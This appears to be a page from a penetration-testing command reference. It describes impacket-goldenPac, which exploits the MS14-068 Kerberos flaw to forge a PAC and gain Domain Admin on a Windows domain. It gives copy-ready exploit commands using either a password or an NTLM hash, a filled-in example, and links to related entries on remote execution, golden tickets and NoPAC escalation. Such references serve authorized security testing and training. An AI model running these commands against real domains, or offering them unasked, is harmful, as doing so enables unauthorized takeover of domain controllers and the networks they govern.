Impacket goldenPac (MS14-068)

Exploit MS14-068 Kerberos privilege escalation to obtain Domain Admin via forged PAC

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: impacket-goldenPac
Category: Privilege Escalation / Trust Attacks
Platform: linux
Requires: password
Protocols: KERBEROS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-goldenPac '<domain>/<user>:<password>@<dc_fqdn>'

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

impacket-goldenPac -hashes ':<hash>' '<domain>/<user>@<dc_fqdn>'

Examples

impacket-goldenPac 'CORP.LOCAL/user:password@dc01.corp.local'

Tags

impacket ms14-068 goldenpac privilege-escalation kerberos pac

Impacket PSExec Execute commands via PSExec service
Impacket WMIExec Execute commands via WMI (Windows Management Instrumentation)
Impacket LookupSID Enumerate domain SIDs and discover trust relationships via SID brute-forcing
Impacket raiseChild Escalate from child domain DA to forest root DA via inter-realm Kerberos trust
Inter-Realm Golden Ticket Forge a cross-domain Golden Ticket to escalate from child to parent domain
LDAPSearch Shadow Principals (PAM Trust) Enumerate msDS-ShadowPrincipal objects to identify PAM trust shadow principals
NetExec LDAP Raise Child Escalate from child domain DA to forest root DA via inter-realm Kerberos trust abuse
NetExec SMB NoPAC Check for and exploit the NoPAC (CVE-2021-42278/42287) Kerberos privilege escalation…